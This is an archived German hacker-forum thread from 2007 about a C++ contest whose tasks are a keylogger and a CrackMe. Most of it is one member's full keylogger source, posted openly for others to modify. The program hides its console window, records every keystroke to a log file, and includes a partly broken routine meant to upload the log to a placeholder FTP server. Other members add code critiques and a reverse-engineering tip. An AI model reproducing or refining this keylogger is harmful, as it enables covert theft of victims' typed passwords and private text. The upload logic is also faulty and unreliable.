Archiv verlassen und diese Seite im Standarddesign anzeigen : C++ Wettbewerb geht in die dritte Runde
Der C++ Wettbewerb geht in die dritte Runde.
Fortgeschrittene : Keylogger
ein Programm, das alle Tastendrücke abfängt und speichert. Zusätzlich könnte man Builder und eine Sending Option einbauen, z.B. an einen FTP
Anfänger : CrackMe
f0gx wird ein Programm schreiben, das ich versuchen sollt zu cracken, das heisst durch veränderungen im Memory ein bestimmtes Ergebnis zu erreichen.
Abgabetermin ist der 25.11.07
bitte schreibt schnell rein wo ihr mit macht, und falls was dazwischen kommt, bitte abmelden.
Achja und die Sources bitte + exe, per icq zu mir.
Zur Bewertung, es geht grafisches, sowie Sourcecode und der Funktionsumfang mit ein.
Mfg
Zao
C++ Wettbewerb #3 - An alle Beginner.
Ich habe das besagte CrackMe fertig gestellt. Es ist auf meiner Page (www.f0gx-resources.extra.hu) verfügbar. Es ist evtl. nicht ganz leicht, aber seht selbst.
Für Leute, die sich in der Materie etwas mehr auskennen, ist es einfach, aber schließlich geht es hier um die Beginner-Aufgabe. :)
Bei Rückfragen zum CrackMe (natürlich nicht, wie man es löst, aber falls Verstädnisfragen bestehen) könnt ihr mir eine PM schicken.
Viel Spaß!
f0Gx
Viper.aT
12.11.2007, 16:49
Ok bin bei Beginner dabei
-[RiDER]-
12.11.2007, 19:01
Ich würde mich sehr gerne am Wettbewerb beteiligen.
Da ich aber im Moment nicht über einen Wintendo verfüge und auch bis jetzt noch keinen Grund gefunden habe, mir jemals wieder einen anzuschaffen, werde ich wohl diesmal auf die Teilnahme verzichten müssen...
MfG RiDER
Viel glück an alle Teilnehmer.
Werde doch selbst zu einem? :)
Ich werde beim Keylogger mitmachen, allerdings ohne GUI, wie mit zao bereits besprochen ,;-)
Ich bin mit dem Keylogger fertig :)
•Keylog funktion
•FTP Send Action
Source wird open also ihr könnt ihn dann auch modden :)
MfG
Added after 3 minutes:
Vllt ist das eine Kleine hilfe für jemanden:
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
using namespace std;
//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
string KeyString = "";
if (Key == 8)
KeyString = "[del]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TAB]";
else if (Key == VK_CONTROL)
KeyString = "[STRG]";
else if (Key == VK_ESCAPE)
KeyString = "[ESC]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LINKS]";
else if (Key == VK_RIGHT)
KeyString = "[RECHTS]";
else if (Key == VK_UP)
KeyString = "[HOCH]";
else if (Key == VK_DOWN)
KeyString = "[RUNTER]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
//Char klein machen
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int main()
{
//Fenster verstecken
SetConsoleTitle(TEXT("abcdefghij"));
HWND muh = FindWindow(0,TEXT("abcdefghij"));
ShowWindow(muh,SW_HIDE);
//End
string Filename = "log.txt";
string Temp = "";
fstream log;
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
int keyvalue = 0; //Anzahl der eingegeben Keys
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
Temp = GetKey (i);
log.write(Temp.c_str(), Temp.size());
log.close();
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
{
//Sende log zum ftp server
system("ftp.exe");//Öffne FTP.exe
system("open SERVERNAME");//Servername
system("ftpusername");
system("ftppasswort");
system("cd html"); //Verzeichniss
system("send"); //Senden
system("log.txt");// Log.txt wird hochgeladen
}
}
}
Added after 6 minutes:
Credit to : http://www.online-tutorials.net/
-[RiDER]-
13.11.2007, 15:09
Mach KeyString static und hübsch is ;)
Das sleep(5) wird wohl von den meisten compilern ignoriert werden...
und ich versteh nicht, warum du die datei immer wieder öffnest und schließt O_o
#include "stdafx.h"
den header müssteste wohl mitposten... was auch immer der bringen soll.... O_o
aber sieht mir doch sehr windowslike aus O_o
also ich kenn den ganzen wintendo kram nicht O_o
womit krieg ich denn kompiliert??
MfG RiDER
womit krieg ich denn kompiliert??
Mit Wintendo-Kompilern. :) Aber die Autoren können ja am Ende des Wettbewerbes sowieso noch mal kompilierte Versionen rausbringen.
Visual Studio / Visual C++ ;)
Kleiner Tipp für den Beginnerteil:
Virtuelle Adresse (VA) = Relative Virtuelle Adresse (RVA) + ImageBase
VA: Die Werte, die man links in Olly sieht, z. B. 401000.
RVA: VA - Imagebase, also hier z. B. 1000.
ImageBase: Die Adresse, an der das Programm im Speicher beginnt, hier 400000.
-[RiDER]-
27.11.2007, 11:12
Na, Leute, wie siehts aus?
MfG RiDER
es hat keiner abgegeben...pöhh wenn keiner will bitte *beleidigt sei*
mfg
zao
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.